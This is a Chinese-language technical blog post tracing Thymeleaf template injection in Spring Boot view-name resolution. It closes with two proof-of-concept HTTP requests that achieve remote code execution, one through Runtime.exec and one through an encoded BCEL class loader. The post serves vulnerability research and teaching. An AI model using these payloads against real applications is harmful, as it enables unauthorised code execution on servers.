【技术分享】spring-boot-thymeleaf-ssti

VSole2021-08-19 17:03:04

spring-boot下的thymeleaf模板注入挺有趣的,本文尝试对该漏洞一探究竟,如有谬误,还请同学们指教。

https://github.com/veracode-research/spring-view-manipulation

本文使用该项目给出的demo进行调试分析,其中,spring-boot版本为2.2.0.RELEASE,

启动

自动装配

首先,我们知道,在配置好spring-boot情况下,加入如下thymeleaf的mvn依赖,就可以实现thymeleaf的自动配置。

<dependency>            <groupId>org.springframework.bootgroupId>            <artifactId>spring-boot-starter-thymeleafartifactId> dependency>

thtmyleaf的自动配置类为org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration

排序viewResolvers

我们可以看到,在o.s.w.s.v.ContentNegotiatingViewResolver#initServletContext方法中,对viewResolvers进行初始化,初始化后包含了多个视图解析器(模板引擎),包括 BeanNameViewResolver、ViewResolverComposite、InternalResourceViewResolver、ThymeleafViewResolver。

查看ThymeleafViewResolver源码,发现其order值为Integer.MAX_VALUE,通过sort方法排序过后的结果如下图所示(BeanNameViewResolver也是Integer.MAX_VALUE):

具体代码流可以参考这里的堆栈信息:

getOrder:282, ThymeleafViewResolver (org.thymeleaf.spring5.view)...initServletContext:206, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)...refresh:550, AbstractApplicationContext (org.springframework.context.support)...refreshContext:397, SpringApplication (org.springframework.boot)run:315, SpringApplication (org.springframework.boot)...

视图解析

获得视图解析器

org.springframework.web.servlet.DispatcherServlet#render:用户发起的请求触发的代码会走到这里获取视图解析器,随后从resolveViewName获得最匹配的视图解析器。

org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName:在该方法中,先是通过getCandidateViews筛选出resolveViewName方法返回值不为null(即有效的)的视图解析器;之后通过getBestView方法选取“最优”的解,getBestView中的逻辑简而概之,优先返回重定向的视图动作,然后就是根据用户HTTP请求的Accept:头部字段与candidateViews数组中视图解析器的排序获得最优解的视图解析器,而前面所讲到的viewResolvers的排序正是参与决定了这一排序决策。

resolveViewName:227, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)resolveViewName:1414, DispatcherServlet (org.springframework.web.servlet)render:1350, DispatcherServlet (org.springframework.web.servlet)processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)...doFilter:166, ApplicationFilterChain (org.apache.catalina.core)...

获得视图解析器名称

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod:该方法为获取视图名称的关键点,其中首先会调用invokeAndHandle(下面会讲该方法内的逻辑),之后返回getModelAnView方法执行结果的返回值。

o.s.w.s.m.m.a.ServletInvocableHandlerMethod#invokeAndHandle:在该方法中,会尝试获取前端控制器的return返回值,也就是说,如果前端Controller返回值中直接拼接了用户的输入,相当于控制了该视图名称;另外,当用户自定义的Controller方法的入参中添加了ServletResponse,这里的invokeForRequest中会触发ServletResponseMethodArgumentResolver#resolveArgument将mavContainer的requestHandled设置为true,而mavContainer.isRequestHandled()为true导致了getModelAndview(...)返回值为null,也就不会有后面的漏洞触发流程。

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#getModelAndView:如果mavContainer.isRequestHandled()为true,直接返回null。

org.springframework.web.servlet.DispatcherServlet#applyDefaultViewName:另外,如果前端Controller的方法返回值为null,即void方法类型,前面的流程无法拿到视图名称,后面会调用applyDefaultViewName方法将URI路径作为视图名称。

org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath:在将URI设置为视图名称的代码流程中,调用了该方法对URI进行格式调整,其中包括去除URI扩展名称。

...getViewName:172, DefaultRequestToViewNameTranslator (org.springframework.web.servlet.view)getDefaultViewName:1391, DispatcherServlet (org.springframework.web.servlet)applyDefaultViewName:1087, DispatcherServlet (org.springframework.web.servlet)doDispatch:1046, DispatcherServlet (org.springframework.web.servlet)。。。

使用视图解析器

org.thymeleaf.spring5.view.ThymeleafView#renderFragment:这里是漏洞触发的关键逻辑点之一,如果用户的输入拼接到了视图名称中,即控制了viewTemplateName变量。通过浏览代码,我们可以了解到,首先视图模板名称中需要包含::字符串,否则不会走入表达式执行代码中。

上图的o.t.s.e.StandardExpressionParser#parseExpression不重要,我们这里略过,其随后会走到org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess方法:这里的input变量就是上面viewTemplateName前后分别拼接了~{、}后的字符串,随后这里使用PREPROCESS_EVAL_PATTERN正则对input进行匹配,正则内容为\_\_(.*?)\_\_ ,随后获取正则命中后的元组内容,即非贪婪匹配的.*?,随后讲该元组内容传入parseExpression方法并在这里触发了EL表达式代码执行。

POC构造

由触发的代码流程梳理可以得出触发表达式的条件:

①用户传入的字符串拼接到了Controller方法的返回值中且返回的视图非重定向(前面流程可用知晓,重定向优先级最高),或URI路径拼接了用户的输入且Controller方法参数中不带有ServletResponse类型的参数;

②视图引擎名称中需要包含::字符串;

③被执行表达式字符串前后需要带有两个下划线,即__${EL}__;

④如果Payload在URI中,由于URI格式化的原因且我们的Payload中带有.符号,所以需要在URI末尾添加.。

于是,我们可以构造出与作者有所差异的POC

POST /path HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencodedContent-Length: 120
lang=::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}_______________

如果我们要利用该漏洞干点啥,建议还是结合BCEL一类的方式来利用更加方便(不过JDK251后BCEL使用不了),win弹计算器:

POST /path HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencodedContent-Length: 1010
lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________

结语

spring-boot的自动化配置为开发部署带来了极大的便捷,这也对我们深入底层问题提搞了学习成本。该模板注入问题十分巧妙,起初让人感到不可思议。
本作品采用《CC 协议》,转载必须注明作者和本文链接
spring-boot下的thymeleaf模板注入挺有趣的,本文尝试对该漏洞一探究竟,如有谬误,还请同学们指教。
必修漏洞,就是必须修复、不可拖延的高危漏洞,不修复就意味着被黑客攻击入侵后会造成十分严重的后果。
引言 在JavaWeb应用中,任意文件上传一直是关注的重点,攻击者通过上传恶意jsp文件,可以获取服务器权限。但是在Springboot框架对JSP解析存在一定的限制。 Spring官方原文如下,大概意思是jsp对内嵌的容器的支持不太...
笔者重点分析他们之间的关联关系及架构组成。Wrapper:表示一个 Servlet,它负责管理 Servlet 的生命周期,并提供了方便的机制使用拦截器。
大家好,我是风起,最近一直在做安全研究及Kunyu的开发维护,已经好久没有写红队攻防相关的文章了,那么近期将带来 “红队实战攻防技术” 系列的文章。
本期为【攻防演练专题】系列的第八期,将分享在攻防演练期间 Antiy RASP 如何帮助 WEB 业务系统拥有“威胁自免疫”能力,同时与传统 WEB 网站安全防护产品协作,有效实现“双重防护”。
最近这log4j热度很高。好久没写文章了,而且目前市面有些文章里面的内容信息已经有些过时缺少最新信息迭代,借此机会我剑指系列基于国内外的关于此漏洞的研究我进行了总结和归纳,并且将我自己目前发现的小众的技巧方法分享给各位,希望能给各位带来帮助不会让各位失望。
今天分享的主题是开源软件漏洞挖掘实践,主要讲对于企业项目、开源项目审计的认识以及做代码审计的经验。
随着互联网技术的快速发展,API作为连接服务和传输数据的核心通道,需求正大量增长,API在企业的发展过程中也扮演着越来越重要的角色。然而,API巨大价值的背后也同时隐藏着不可忽视的安全风险
可想而知,如果 Spring 城门失火,Java 必定遭殃。根据官方文档,Spring Cloud Function 是基于 Spring Boot 的函数计算框架,它可以:通过函数促进业务逻辑的实现。
VSole
网络安全专家